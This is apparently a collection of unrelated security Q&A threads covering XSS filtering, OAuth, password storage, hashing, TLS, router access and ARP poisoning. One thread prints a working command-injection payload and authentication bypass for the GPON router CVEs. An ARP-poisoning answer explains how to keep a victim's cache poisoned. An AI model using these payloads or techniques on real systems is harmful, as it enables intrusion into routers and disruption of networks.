XSS in a simple HTML context without < is not possible. It would be possible in a HTML attribute context, JavaScript context, etc; but in a simple <div> tag, we need <.

I see no way to bypass the regex; It will always correctly remove all < characters from the string.

The only hope left is that the jQuery function .html might insecurely handle the input (eg decode values), which would allow us to bypass the filter. But there are no known vulnerabilities in .html that I am aware of.

Given the above, I would say that there is no vulnerability here.


cURL and custom Rest API authentication exposure I'm developing an API which is planned to use simple user and password authentication mode. I have experience with HTTP requests and tended to think everything as HTTP request.

As user name and password should never be exposed, would a cURL request hide authentication info or it would appear as any other post value at Fiddler or Chrome's network monitor?

There's a couple of pieces to this.

If you are connecting to your API over an unencrypted connection then the username/password and everything else will be visible to people who can sniff the traffic.  Things like HTTP Digest authentication will make things a bit more difficult but ultimately there's still a vulnerability there.  If (for whatever reason) you can't use SSL HTTP Digest is better than HTTP basic.

Assuming you set-up SSL to protect information in transit, the visibility of creds will depend on how you configure things.

If you set your proxy up to be something like fiddler and you set it to intercept SSL connections, then when the data passes fiddler it will be visible there, otherwise it should not be visible.

One thing to note in all this is that it shouldn't matter what client-side tool you're using here (cURL/wget/a browser) the security is configured on the server-side.


Why does majority of the publicly routable IPs seem to have no rDNS assigned? I built a Hilbert curve showing which IP addresses have rDNS assigned, based on one of the rDNS scan snapshots available on scans.io. I ended up getting the following (white means "assigned"):

Is there something wrong with my methodology or does most of the Internet routable IPs have no rDNS assigned?

Actually, there indeed was a mistake in my methodology. I copied Hilbert code from Wikipedia, but didn't notice it was using int instead of unsigned int. After fixing that, I'm getting a completely different picture - one that makes more sense to me:

If I saw that instead, I don't think I wouldn't have asked the original question.


How do the CVE-2018-10562 and CVE-2018-10561 exploits work? https://www.vpnmentor.com/blog/critical-vulnerability-gpon-router/

Firstly, the use of 'GPON' I find misleading because this vulnerability is to do with the routers and webservers and not the access network. Someone I know whose PC firewall picked up this attack is on P2P FTTC for instance. It was also a virgin router which is interesting, so not just D-link or Dasan -- which makes sense. I mean the vulnerability was disclosed in 2018 -- is it likely that routers has stateful firewalls before then to filter out this vulnerability from http requests?.

As far as I understand, external port 8080 or port 80 needs to be being forwarded to an internal machine on the network which is running a webserver that is listening on one of those ports. The attacker then uses a (python) script which sends an http request to the victim but with ?images/ appended to the url which appears to be a malformed GET query; this, somehow allows the hacker to execute commands on the server e.g. ls whose result is returned in an http response. How exactly does appending ?images/ achieve this -- can anyone explain how the webserver interprets this such that it leads to the attacker being able to execute code on the server and such that it is returned in an http response.

The answer lies on this page: https://github.com/nixawk/labs/tree/master/CVE-2018-10562

  An issue was discovered on Dasan GPON home routers. Command Injection can occur via the dest_host parameter in a diag_action=ping request to a GponForm/diag_Form URI. Because the router saves ping results in /tmp and transmits them to the user when the user revisits /diag.html, it's quite simple to execute commands and retrieve their output.

It now makes sense. It appears that Dasan routers must have a remote management feature that allows the router interface to be accessed externally over port 80/8080 and this is what is vulnerable because certain Dasan routers have a GponForm/diag_Form file which for whatever reason allows for a remote ping functionality and possibly a restricted set of other diagnostic commands. It appears that for ping, there is no sanitisation on the ip to ping, which allows for a command to appended to the end of it. Furthermore, there is also a vulnerability on the router where appending ?images bypasses authentication (checking token of accessor) such that anyone can send the post request.

A request to a webserver running on a machine behind the router will not achieve anything because it is only the Dasan webserver that is vulnerable; it may be still be picked up by WAF however.

The git repository linked at the top of the answer uses a dictionary as its payload, here is the value of the dest_host key:

payload = "127.0.0.1;\`echo {randflag};{cmd};echo {randflag}`;".format(randflag=randflag, cmd=cmd)

It is clear that the host to ping is not sanitised as it allows for the appension of another command at the end. For some reason echo statements have been used but {cmd} on its own would have sufficed.

Another source code uses a single string rather than a dictionary for the POST data as it uses requests.Request() rather than requests.post() to send the POST request:

payload = 'XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`' + command + '`;' + command + '&ipv=0'

This is similar to the previous example except they have not included an IP to ping and immediately inserted a command to be executed, the command output will hence be used as the target address whereas the previous example would be using 127.0.0.1;commandoutput as the IP to ping.

If I were to write it I would write:

domain = sys.argv[1]
command = sys.argv[2]

url_bypass = domain + '/GponForm/diag_Form?images/'
payload = 'XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=127.0.0.1;`command`&ipv=0'

send_command(url_bypass, payload)

In the code above we see a url_bypass which is the url of the vulnerable diag_Form. A POST request is then sent to that url using the payload as the POST data in the request body which will cause the command to be executed along with the ping command

Finally, Diag.html is visited using requests.get(url), which on Dasan routers returns the results of the ping that was performed. Because of the backticks, the command was executed and the output appended to the address as a string meaning it is obviously returned in the ping result as it was interpreted as the address to ping. The backticks are preserved by python2 because they are in quotation marks, hence not converted to repr().

for line in response.text.splitlines():
    if 'diag_result = "ping -c 4 -s 64' in line:
        output = line.replace('\\n', '\n')
        break

Which (when "ls /bin/" is the command) looks like this:

diag_result = "ping -c 4 -s 64 127.0.0.1;
Console
EthMgr
GponCLI
GponSLID
.
.
.


What are the dangers of allowing "less secure apps" to access my Google account? According to https://support.google.com/accounts/answer/6010255:

  Google may block sign in attempts from some apps or devices that do not use modern security standards. Since these apps and devices are easier to break into, blocking them helps keep your account safer.

What are those "modern security standards" and why is it dangerous to allow apps which do not support them? Also, is it dangerous to enable the option (allow less secure apps) if you do not use those apps? If so, why?

I believe it might be OAuth2.0 over IMAP (according to this page). As far as I know, this is Google's own extension and is not used by any other service providers.

In my specific case I was trying to access my Gmail account using Kmail (v4.14.0) and IMAP.

In my understanding, "less secure apps" refers to applications that send your credentials directly to Gmail. Lots of things can go wrong when you give your credentials to third party to give to the authentication authority: the third party might keep the credentials in storage without telling you, they might use your credentials for purposes outside the stated scope of the application, they might send your credentials over a network without encryption, etc.

Additionally, it could be an app that a user has installed locally such as an IMAP client (see the following support note from google: https://support.google.com/accounts/answer/6010255?hl=en)

"Less secure" isn't meant to say that apps that use your credentials are necessarily full of security holes or run by criminals. Rather, it is the category of behavior -- giving your credentials to a third party -- that is fundamentally less secure than using an authorization mechanism like OAuth. With authorization, you never allow the third party to see your credentials, so an entire category of problems are instantly eliminated.

In OAuth, you authenticate directly to Gmail with your credentials and authorize an app to do certain things. The third-party app only sees an authorization token provided by Google as proof that you authenticated correctly and agreed to authorize that app.

As for why it would be dangerous to enable less secure apps (versus using a particular app that may be untrustworthy), I'm not totally sure. Google's refusal to authenticate happens after you've already given away your credentials to the application. It seems to me that any time you provide your credentials to a third party, it doesn't matter whether or not you've allowed authentication by "less secure apps" -- someone can just load up a log-in screen and directly log in as you. The only possible cases I can think of are:

Possibly "app-based" login attempts are treated differently from "human-based" login attempts, in particular how they treat sudden changes in location. Maybe the "less secure" app you're trying to use has servers on another continent, so it's not suspicious to Gmail when an app tries to log in as you somewhere else, while an attempt to use the log in screen from another continent by a human would be suspicious.
Possibly "less secure" auth methods include some other login method that doesn't directly reveal your credentials to the third-party but are less secure than OAuth 2.0 in some other way (e.g., they're vulnerable to eavesdropping by an attacker, or they make it somehow easier for an attacker to access your account without knowing your password).

Those two points are pure conjecture and very well may not be true in actual fact.


Is 8192 Diffie-Hellman overkill? I've finally ran SSL server test on my server and was presented with:

  This server supports weak Diffie-Hellman (DH) key exchange parameters. Grade capped to B.

So I tried to generate stronger using openssl dhparam 8196, but it didn't finished even after a day. So, two questions:

Is it an overkill and is 4096 sufficient for now?
Can I make openssl dhparam run on multiple cores?

Edit 2015-12-23Wed.: I'm not happy with this answer anymore. While I still think that 8k DHParams are misplaced effort and overkill (and you're better off with ECDH) the explanation that I gave was bogus. Turned into "Community Wiki" mode for now. May rework in future. Old post below.

  1) is it an overkill and is 4096 sufficient for now?

Generally, yes. I don't think that there is a lot of use in making that key longer than the key in your certificate. And 8k certs are very uncommon at the moment. 2k or 4k are the norm.

A cipher suite uses several crypto mechanisms plugged together. (Public keys for the ephemeral exchange. Public keys for the certificates. Hash functions/MAC functions for the certificate. Hash functions/MAC functions for the session encryption. Symmetric cryptography for the session encryption, etc.) They work something like links in a chain. And like a chain: it's the weakest link that counts. Any effort spent hardening the non-weakest link is likely effort wasted.

(Now the several crypto parts that make up a cipher suite are not immediately comparable but there is a rough consensus. KeyLength.com offers a calculator for that.)

(I think there is even a word for the "make every link equally hard" approach. But I can't remember at the moment.)

  2) can I make openssl dhparam ran on multiple cores?

No idea. Don't think so. But I don't think you'd need to either. So bullet 1.


Two classes of discretionary protection I am reading security chapter of book titled Introduction to database system.

It said that discretionary protection can be divided into two subclasses c1 and c2.

Class c1 distinguishes between ownership and access.

class c2 additionally requires accountability support through sign-on procedures, auditing, and resource isolation.
Does sign on procedures mean autentication such as checking user name and password?
I wonder how class c1 distinguishes between ownership and access without sign on procedures?

C1 and C2 are just terms from the Orange Book for levels of protection (where C2 has more security than C1). You can read the actual definitions online in the TCSE itself:

Here it is:

  Class (C1): Discretionary Security Protection

  The Trusted Computing Base (TCB) of a class (C1) system nominally
  satisfies the discretionary security requirements by providing separation of
  users and data. It incorporates some form of credible controls capable of
  enforcing access limitations on an individual basis, i.e., ostensibly suitable
  for allowing users to be able to protect project or private information
  and to keep other users from accidentally reading or destroying their data.
  The class (C1) environment is expected to be one of cooperating users
  processing data at the same level(s) of sensitivity.

  Class (C2): Controlled Access Protection

  Systems in this class enforce a more finely grained discretionary
  access control than (C1) systems, making users individually accountable for
  their actions through login procedures, auditing of security-relevant
  events, and resource isolation.

So C2 is a superset of C1, which does additional logging and finer grained access control (for example, there would not be a group login - logins would be individual).

Also, these terms (C1 and C2) are broader than just database security; they really refer to the security of an entire computing environment.


How should I store a physical written copy of my password? I can employ all the fancy encryption and the randomest of passwords to my hard drive, but it won't do me any good if I don't remember how to log in.  It seems sensible to write down my password, then.  Should I?  If so, how?  I'm not talking about password management software, I'm talking about being able to log on and use said software in the first place.  Note that I am fallible, and it is thus entirely possible that I lose the paper I wrote my password on.

You need to take your threat model into account. Will people literally destroy a house to get your backup password? Will anybody even look for it?

You also need to take into account how likely you are to forget the password, and what kind of information will be available to an attacker that recovers it.

Assuming that you are not under a severe threat, simply writing it down and storing it in a fairly secure and nondescript hiding place will do. Place it in a book, tape it underneath your sock drawer, etc.

If there will be people actively looking for it, you may need to take more spycrafty (is that a word?) steps, such as laminating it and burying it in the ground, placing it in the freezer inside a piece of frozen fish, spackling it into a wall and painting over it, placing it inside a pen, etc.

You can also take several random values, xor them together, and use that as a key to encrypt it. Keep the encrypted copy in the open, then store the random keys in different locations, so that all will be required to regenerate the key and unlock the password. This may be a more secure method regardless of how the distributed secrets are hidden, because it will increase the work of someone looking for it, especially if they do not know how many secrets are required to regenerate the key.

If the information is very sensitive, you should increase the security level even if the threat is low. Required security = threat level * damage from exposure, in this case.


Is PFS recommended by the NCSC in the PRIME profile for IPsec Guidance on the PRIME profile for IPsec (https://www.ncsc.gov.uk/guidance/using-ipsec-protect-data) does not explicitly mention the use of PFS.

Is there a recommendation for its use in the Prime profile I'm missing?

The article provides basic principles for VPN and network design, and then gives fixed sets of encryption options without further explaining what their features are. Both PRIME (IKEv2) and foundation (IKEv1) profiles seem to use Diffie-Hellman Groups for deriving key material, providing perfect forward secrecy PFS. Explaining this or the other choices made is probably just beyond the scope of the guide.


Ldap differences between {crypt} and {CRYPT} I recently stumbled upon some password entries in LDAP marked with the {crypt} scheme. Since all recent entries are {CRYPT}, I was wondering what the differences between the hash algorithms are.

I suppose that you are talking about an OpenLDAP server. It seems that OpenLDAP follows the format specified in RFC 2307, where we see:

    passwordvalue          = schemeprefix encryptedpassword
    schemeprefix           = "{" scheme "}"
    scheme                 = "crypt" / "md5" / "sha" / altscheme
    altscheme              = "x-" keystring
    encryptedpassword      = encrypted password

which would indicate that the "correct" scheme names are in lowercase, not uppercase. Since existing, deployed servers use uppercase names, it is probable that the name is not case-sensitive. In that sense, "{crypt}" and "{CRYPT}" would be equivalent and designate the same algorithm.

Since RFC 2307 is both old and marked "experimental", there is no guarantee here. I suggest that you try it out by taking one "{crypt}" entry and changing it to "{CRYPT}", and see if the user can still log in.


Guarding against XSS when setting Cookies based on URI? I have a web-site written in nginx.conf — http://mdoc.su/ — which essentially accepts two parameters, an operating system and a manual page name, and does a redirect to a different site based on the parameters in the URL.

Since the intention is that the site is to be navigated and used directly from the Location bar of the browser, every character counts, and I want to make it possible to have a location that would set a cookie through a regular GET request, such that further requests for manual pages can be done without specifying an operating system.

However, I realised that if I unconditionally set a preference/cookie based on a parameter in the URL, then it would make my site subject to XSS, since any other webpage could construct a malicious cookie-setting URL, and load it in the background, amending cookies for my site, and breaking the security paradigm.

What is the solution?  Can I not set cookies securely in a language like nginx.conf that carries no state between requests?

It would seem like the solution is to provide the user with an intermediate page after they enter the cookie-setting URL.

On such page, simply provide a link back to itself.

Within nginx.conf, check for $http_referer in a location of such page; if it matches $request_uri, set the cookie; otherwise, serve the page with the link to itself, with Cache-Control: no-cache.

This solution relies on the idea that it is not possible to modify the HTTP Referer header (through JavaScript or otherwise) in requests performed by web browsers.

It would even be immune even if it was possible to access raw TCP sockets from JavaScript (raw sockets from web-browser's JavaScript are not possible for security reasons) and create your own custom requests, because even then such sockets would exist in a separate realm than the HTTP requests from the web-browser engine itself, and replies would not be treated as HTTP, and would be unable to set any cookies.


Current list of safe PHP Practices? I'm new to working with PHP, and recently inherited a website project where the original developer had been sanitizing user input with mysqli_real_escape_string() before querying the MySQL database. As I recently learned from SQL Injection that gets around mysql_real_escape_string()
, the database is still vulnerable to SQL injection into numeric fields, and prepared statements should be used instead.

I keep finding vulnerabilities like this one at a time, as I dig deeper into how PHP cleans, stores, and manages data. Most information I can find on the web is outdated by now, so it's difficult to find a list of current best practices. For my application, I need to store user passwords, allow logins with multiple permission levels, retrieve data from our database, allow users to submit various forms, etc.

Does anyone have a comprehensive and up-to-date list of best PHP practices for me to use as I program the website? If not, are you aware of common security mistakes that new PHP programmers make, and how to avoid them? Any help would be greatly appreciated.

I would start with OWASP's Developer Guide. Then just keep reading through other OWASP resources. Since you mentioned specifically PHP. Here is a PHP Security Cheat Sheet.

Another good read is SANS: "security checklist for web app design".

These should give you a good understand of building safe web sites/apps.


Identifying symmetric key When investigating an application I found a cryptographic key. Based on the documentation related to how the key is used I know it's some form of symmetric key. However I don't know what cipher it is used in and I can't find out from the application as that would require reverse engineering compiled c++, A skill I don't possess. The key does not appear to be user chosen and is represented as 64 hexadecimal characters (256 bits). My question is, is there any program or test that could be easily preformed on the key to determine if it is valid for common ciphers? Such as a check to see if it's a valid aes-256 key or similar. Thanks

As mentioned, there are no constraints on valid keys. This would limit the keyspace, making the algorithm less secure.  You say you don't have reverse engineering skills to throw at this problem, and you don't mention the app used. This leaves us at a dead end because we can't help as far as i can see. You could however try detecting the magic constants with an IDA plugin like FindCrypt (http://www.hexblog.com/?p=27), that would require only basic use of RE tools.


Does a random set of secondary passwords add any security? My bank uses this rather uncommon policy of authentication. They of course have a password, which has quite strong password patterns like "use alphanumeric characters and symbols, 8+ characters" are enforced.

And they have a secondary password, which must be exactly 8 alphanumeric characters. We are supposed to enter three randomly-selected characters from this secondary password when we log in. Here is the example:

Now I hope they are storing my secondary password as 8 hashes, hopefully each letter hashed with a different salt. Let's just assume that my speculation is true, and try to find how secure is this.

So my question is, does this kind of secondary password add any security? Or how much additional security will we have if we use a secondary password without randomizing the letters like this?

Well, it certainly doesn't make it more insecure. You still have your primary password, which we'll just assume is stored correctly.

And in addition to this (I'm going to assume that you have to enter both, not one or the other; if that would be the case, this wouldn't be very secure, see the links @D.W. provided in the comments.), they have a secondary password. Let's assume it's stored in the worst way possible: plaintext(*).

so we don't care what happens in case an attacker steals the database (hashing of this additional password wouldn't add a lot of security for that anyways).

  So my question is, does this kind of secondary password add any security?

This still adds security. The benefit of the randomization is that someone could intercept you logging in once, and still not be able to log in themselves without them taking further steps.

This isn't a whole lot of added security, but it is some and I think it makes sense as an defense in depth strategy.

Example of what this might protect against:

You are at a friends house (or you have visitors at your place, or your using your laptop in public for online banking [don't do this]) and have to send them some money. They look over your shoulder and see you entering your password(s). Without the randomization, they can log in themselves and see how much money you have, what you spend it on, etc. And if you forget your cell phone and are using mTAN they can steal from you.

With the randomized second password, they would have to brute force (either the online login or the hash if they managed to break into the bank(*)), or look at you entering the password a whole bunch of times.

There are 8 over 3 = 56 possible combinations of characters to enter (assuming you always have to enter 3 characters), so refreshing until they get asked the exact same characters might be annoying (or might get them blocked).

Maybe they are not quite sure about your primary password and are hoping to just try a couple of variations, which would be a lot more difficult with the randomized secondary password.

So yes, I think there are real-world scenarios which this kind of randomized password protects against, especially against technically less experienced attackers.

(*) Breaking into the bank seems to me like a far less likely attack vector than someone intercepting the password.

  Or how much additional security will we have if we use a secondary password without randomizing the letters like this?

You mean just having two "normal" passwords? Assuming it doesn't tell you which password was wrong, it's the same as requiring 16+ characters for a single password for online bruteforce attacks. If they do tell you which one was wrong or if you managed to get the hashes, well then it would add the security an 8 char alphanum password gives you.

This of course doesn't defend against the scenario described above.


I fortuitously accessed the configuration of unknown router: how come and what now? I've encountered a strange thing. I connected to an open Wi-Fi, then I was just fooling around. First, I visited 192.168.0.1 and it was a router configuration page but default password didn't work.

Then I navigated to 192.186.1.1 and I saw the configurator of a completely different router that isn't even on this network. The SSID is different and encrypted with WPA2-PSK. The default username and password (admin/admin) worked.

How come I managed to connect to it? How can I notify the owner? Is it illegal?

Here's a screenshot:

Do a tracert,   you're connected because those two routers are probably routing between each other. The moment you logged in your crossed the line of legality. So yes it's illegal. You find the owner by asking around who set up the AP's.


How can the private key be obtained in PKI without alerting a third party? For example, I sent a message to Ardi and encrypted it with Ardi's public key. Ardi must decrypt the message with his private key. How can Ardi's private key be obtained in PKI without anyone else knowing?

Thank you in advance for you answer.

Ardi does not obtain his private key from the PKI. The PKI obtains Ardi's public key from Ardi.

Ardi owns a public/private key pair: a public key and a private key that "dance together" (they are two mathematical facets of a single object). The public key is meant to be public. The job of the PKI is to publish the public key, and offers some verifiable guarantees that a given public key is indeed Ardi's public key -- i.e. that the corresponding private key is under exclusive control of Ardi. In all of this, Ardi's private key never leaves Ardi's computer.

(To be complete, there are PKI models where the CA insists on generating the public/private key pair, and transmits the private key to Ardi through some one-time secured channel. This is a valid model for keys meant for encryption, because it allows the PKI to make a backup of private keys to avoid risks of data loss in case Ardi's computer burns down. However, the "normal" PKI model is that the key pair is generated by the key owner, the private key never being seen by the CA or anybody else.)


Why would you decouple your resource and login servers? As described on this link, OAuth specifies that a login server and a resource server should be decoupled. The idea is that if one of your resource servers gets hacked, no password data is lost. All login credentials that your applications use are on a single server. I get that this reduces the number of servers that hold login credentials. This way, if one of your applications gets hacked, you theoretically don't lose any login credentials. But is that all there is to it? What if the authentication server gets hacked? I can't tell from the OAuth specs what happens then. Aren't you putting all your eggs in one basket using this architecture?

This way, if one of your applications gets hacked, you theoretically
  don't lose any login credentials. But is that all there is to it?

No, an additional benefit (or possibly the main benefit) is that a resource owner can give temporary access to a subset of their resources to a client without giving away their credentials. From the document you linked:

  For example, an end-user (resource owner) can grant a printing
  service (client) access to her protected photos stored at a photo-
  sharing service (resource server), without sharing her username and
  password with the printing service.  Instead, she authenticates
  directly with a server trusted by the photo-sharing service
  (authorization server), which issues the printing service delegation-
  specific credentials (access token).

The Beginner’s Guide to OAuth explains this a bit more in-depth.

  What if the authentication server gets hacked?

That would be bad, but it's not any more likely than your resource server being hacked.

In fact, it is probably less likely, as an authentication server is less complex than a resource server and thus less open to the common web vulnerabilities (only very limited database queries, so only few chances for SQL injection; no or close to no user output, so less danger of XSS; no file upload; probably no danger of LFI/RFI; etc). There are of course still problems.

So the second benefit of OAuth is that it separates sensitive data that is relatively easy to handle from less sensitive data that is quite complex to handle, and thus less protected.

  Aren't you putting all your eggs in one basket using this architecture?

You were doing that before as well. Now you at least have two baskets.

And the protocol doesn't seem to suggest that you should only ever have one authentication server for all of your application servers. So if you had multiple, separate application servers before, you can now have an authentication server for each of them (if the costs are worth the gain in security for you).


Using a hash in place of user data I'm storing client data and they are sensitive about privacy and security of the data.
In some cases, I don't need the actual data, but could work with a hash of the data.
For example, in the case of a users email. I have no need in our application for the users email address except to compare for equality to find records about the same person.

So to minimise the exposure of that data, I was thinking to replace the email with a BCrypt hash of the email before saving it to the database - that way I don't store it, but can still compare like records, or if the client wants to lookup a particular email they can type it in and still be able to search for it.

But we will have 100,000's of records, so the computational cost of Bcrypt would quickly become a problem when cross referencing records.

I'm thinking to just use the lower MD5 instead since it's faster, but wanted to check my thinking:

Does the reduced difficulty of MD5 vs Bcrypt defeat the purpose of hashing in the first place, or is it a valid trade-off in this case?
Does this approach in general have a security catch or loophole that I may have overlooked?

MD5 is better than plaintext, but only marginally.

If you use bcrypt with a salt, to find all records with email foo@example.com you would need to hash that email one time per record with that records unique salt. That would quickly get out of hand, and as you note in your question, not work.

What you can do instead is to use a constant salt that is the same for all records. Then it is no longer called a salt, but a pepper. The value of the pepper should be random and treated with the same care as a cryptographic key, since without it a brute force on the hashes is practically impossible.

It is important to understand that a pepper is not as secure as a salt, since a brute forcer in possession of it would get the same speed up from not having to compute the hash one time per record as you do when searching. But it is a lot better than using a fast algorithm like MD5 or SHA-256.

A practical note: Not sure if all bcrypt implementations allow you to specify the salt yourself, and all of them will have the salt included in the output. You need to cut that part off before you store it, since the pepper should not be stored in the database.


How can Paypal know my card is being used in another account? I have a credit card saved to my primary Paypal account. To make a long story short, I needed to make another Paypal account that would not be connected to my original one.

I used a different computer, which had never been logged in to my original one. When I tried to register my credit card to the account, Paypal told me I was unable to register it, as they said

  this card is already linked to a different Paypal account.

How can they possibly know that? Shouldn't my credit card be stored with a hash under my account only? How and why is Paypal keeping all their registered cards in one big file for cross-reference?

There are a couple reasons why Paypal (or more generally, any payment service) can know if you've used your card in more than one place.
Your credit card is absolutely tracked everywhere possible

Shouldn't my credit card be stored with a hash under my account only?

If your card is kept hashed then it can be easily compared across accounts.  Hashes are deterministic, so for a fixed hashing algorithm a given credit card will always give the same hash.  Therefore if they were storing hashes, they could easily compare across accounts and determine if the card was already stored elsewhere.  Doing so can be advantageous, as in this case it is being used to prevent fraud (the implication is that if the same card is added to multiple accounts, it is likely due to fraud).  Once you have a "secure" hash of a credit card, there's no reason not to check it across different accounts.  Paypal certainly can and does.
However, this ability isn't limited to Paypal, and can easily be available to much smaller merchants.  For instance with Stripe (a common PCI-compliant payment method) the merchant will be given a unique identifier for each credit card number stored on Stripe.  The merchant doesn't keep (or even see) the card number, but they can still compare the given hash against other card hashes that have been used in their systems.  This can (and is) easily used for the less-altruistic purpose of tracking a user's buying history across multiple accounts and anonymous transactions, while still maintaining PCI compliance.
So to be clear, your credit card is tracked absolutely everywhere by as many people as can keep their hands on it, even if they don't know your credit card number themselves.
Paypal keeps your actual credit card number on file - not just a hash
Smaller merchants can and should make sure and never store, transmit, or even look at actual card details.  However, there is no requirement that forbids any merchant from keeping the actual card number if they so desire.  In general though any merchant that wants to keep card numbers on file and remain PCI compliant will (theoretically) have to go through stricter validation, security auditing, and effectively have to pay a ton of money in fees.  The increased costs and liability of keeping credit card numbers on file while remaining PCI compliant are so large that any moderately well run small-medium business will never try.
However, large businesses can and do choose to do otherwise.  The reality is that someone has to store card numbers somewhere so that your card can be billed.  The larger credit card processors (which Paypal definitely is) certainly store the full card number.  They should store the numbers using strong encryption and secure keys/access control procedures.
As for the details of how they actually determine that a credit card number is used twice, ultimately only Paypal can answer that.  They may have a method for comparing encrypted card numbers directly, but more likely they also store a hash of the card numbers and compare those directly (h/t Jory Geerts).  Either way though, they do keep your card number on file, and they can compare card numbers against accounts.
Note that this doesn't mean that they are "Keeping all registered cards in one big file for cross-reference".  Their infrastructure for secure card storage is certainly far more complicated than that.  However, they obviously have a compelling business need to be able to compare cards across accounts, and have setup their infrastructure so that they can both store your cards securely and also check for duplicates across accounts.  I agree with the linked comment: I would guess that they are also calculating a secure hash of the credit card number and using that for easy comparisons.


Securely saving credentials for later plain-text authentication I am developing a Django application where a user logs in with Kerberos, and then has accesses to a number of internal applications.

One of these is a file application that connects to a server over SFTP and allows the user to browse their stored files. Because this would result in needing to authenticate with that server several times over the life of the session, I would like the cache the password that a user enters when they first log in to the site in some way but, due to security concerns, I don't want to just save the password as plaintext in the server's database.

My current thought is to use AES, or some other similar cryptographic algorithm, and store half of the data needed to decode the password in a server-side session and the other half in a client-side browser cookie.

Would this be a good idea? Can you suggest any other solutions?

Perhaps the app should use Kerberos to authenticate to the server, as well? E.g. using constrained delegation.

Alternatively it could have a SSH key of its own, one that works for all accounts but only from the webapp server's address.


Email clients and POODLE vulnerabilities I use a commercial email service that provides IMAP over SSL on port 993 and SMTP over SSL on port 465. I currently connect to their servers with Thunderbird and the Apple's iOS8 email client.

Could these connections be vulnerable to POODLE? My impression is that the SSL connection negotiated on these ports might be SSLv3.0. I turned on connection logging in Thunderbird but it does not report the protocol versions. How can I determine the SSL version used for these connections?

My email service also provides regular IMAP on 143 and SMTP on 587 (and other ports). If I force my clients to use STARTTLS, the same question arises about the protocol that is used.

Have a look at https://ssl-tools.net/mailservers. There you can get information about the mail server, including the support for SSL 3.0. But, please note that POODLE is about a specific attack pattern which uses a design flaw in SSL 3.0 and which works fine with HTTP to steal session cookies. But, while it is good to disable SSL 3.0 completely, the idea of POODLE can not be easily applied to attack IMAP, POP3 or SMTP protocol to steal the login credentials. This does not mean that these protocols are safe with SSL 3.0, but only that you need to develop a different approach to exploit the flaws in SSL 3.0.


XSS in iframe can't access document cookies I know of a website, lets call it website.com, that has these vulnerabilities:

iframe injection: I can inject an iframe with a src attribute, but cannot inject any script directly. Lets say that this is on website.com/iframeinjection.
uncontrolled redirect vulnerability: website.com/link?path=google.com redirects to google.com.

Chaining these two vulnerabilities together, I used the iframe injection to insert something like this on website.com/iframeinjection:

This bypasses the same origin policy, since the base-url is website.com, and this script from evil.com/index.html is executed in website.com/iframeinjection:

<!DOCTYPE html>

When visiting website.com/iframeinjection though, the alert(1) alerts 1, as usual, but the alert(document.cookie) cannot access the cookie from website.com even though the javascript is being executed on the outside of the iframe. Why is this? Is this a legitimate vulnerability? Is there any way this could be used to steal cookies?

This bypasses the same origin policy, since the base-url is website.com, and script from evil.com is executed in website.com/iframeinjection.

This is not correct. The open redirect vulnerability means that website.com redirects to  evil.com. That means that the origin changes. The script is hosted on evil.com, and that is also the origin it will run in. So you are trying to read cookies from evil.com and not website.com. If you don't believe me, do what tim suggests in the comments: Add an alert(document.location) and you'll see where you are.

This does not mean there is no vulnerability here, though. Open redirects are bad in and of themself. Not sure exactly how the "iframe injection" works, but maybe that is exploitable too, but not in this particular way.

At the very least, it would be easy to do some sort of impersonation attack with the iframe, e.g. tricking a visitor into entering their password on evil.com.


Problem while implementing an ARP poisoning software I'm studying ARP poisoning and I've coded a computer program to poison other computer's ARP cache using raw sockets in C language.

What I've done was: send an ARP reply to the target, always using another computer different from the target one, "telling" him that its gateway has my MAC address.

I don't want to act like a man in the middle. I just want to "turn the target off" of the internet.

I've tested in three LAN. I got success on two of them, that is, when I send an ARP reply to the target, I can't surf the internet with the target browser (I have access to it, so I can test it).

But, there is one network (a more complex one) that I failed to poison the target ARP cache. I have access to target computer, so when I send an ARP reply to it (using another computer), I check its ARP cache out, and the MAC address of its gateway is still the correct one, and more: I can surf the internet with the target browser. I don't know why it happens only to this network.

At first I thought it was some kind of static ARP, or something like this. So I used ettercap (and wireshark) to help me. I used ettercap's option of man in the middle with ARP poisoning and I got it. I could poison target's ARP cache with ettercap. I've "debugged" the ARP reply (using wireshark) that my computer program sent to the target and it is the same ARP reply that ettercap sent to the target.

Both network I got success are a wireless network. The one I got failed is a wired network.

Can someone help me with this problem? Why does it happen?

An observation: I don't want to start poisoning computers' ARP cache. I'm only studying some protocols more deeply, not only the theory. That's why I wonder why I can't poison ARP cache inside this network and ettercap can.

Depending of the device, they may send who-has ARP request every Xs. (or in case they think they've lost connection with your router)

This will result in your router giving back the correct mac address and the ARP cache of the victim will not be longer compromise.

To counter that, you can sniff your network (eg using scapy) to check for ARP request incoming from your device to send a new ARP is-at answer and keep the cache compromised. You can also re-comprommise the cache each seconds if you don't want to implement a sniffer.


can't go on monitor mode in kali linux I can't seem to make my interface go on monitor mode, here is my terminal
https://gyazo.com/c2a84f7585ea89e59e56bbe1ed585fc5

https://gyazo.com/2ba669ca7f62787b126e2e107beefb24

Although that kill processes command airmon-ng check kill may solve the problem, don't use it because you'll stop many functionalities including the network-manager application.

Instead, use the following commands when starting monitor mode:

#> airmon-ng start wlan0
#> ifconfig wlan0mon down
#> iwconfig wlan0mon mode monitor
#> ifconfig wlan0mon up


Php parameters (username, password) in link Little Info: I am not a web developer, I am a beginner to php and sql. Trying to learn in my free time.

I was examining a web site on a remote server and i saw something like;

www.myurl.com/login.php?username=xxx&password=xxx

First, I tried to log in my credentials and there was no problem. After that i tried to login with false credentials to see what happens.

And I was able to find the link on console.

Is this the right way for security? I could be gravely mistaken but I mean i think now i know which parameters ($username and $password) they store in php code.

If i am right, can this lead to a sql-injection? If so which methods can be used to prevent this.

UPDATE

I forgot to mention that site is HTTP

Any lead is appreciated. Thanks for your time.

There is no direct threat from sending the credentials in the query string. Technically, for the server it doesn't matter whether the form data is sent in the request body or in the query string.

So it means that your initial assumptions are all wrong:

  I think now i know which parameters they store in php code.

First, such a knowledge will give you no advantage.
Second, you can see in the browser's console ALL parameters sent to the server, no matter what method is used - the request body parameters are shown in the console as well

  can this lead to a sql-injection?

Of course not. SQL injection is related to SQL, not HTTP which you are talking about.

The only threat here is a chance to expose the password to a third party. First and foremost, it will be stored in the server's access log. Or it can be stored on some proxy server along the way (however, in case the site is using HTTPS, it won't happen).

So in the end, you aren't likely going to gain any advantage in this case but it's better to use the POST method anyway.


What are the disadvantages of implementing HTTP authentication in a web application? I know that there are different types of authentication mechanisms available. One among them is the HTTP authentication. What is the danger in using this method compared to other methods?

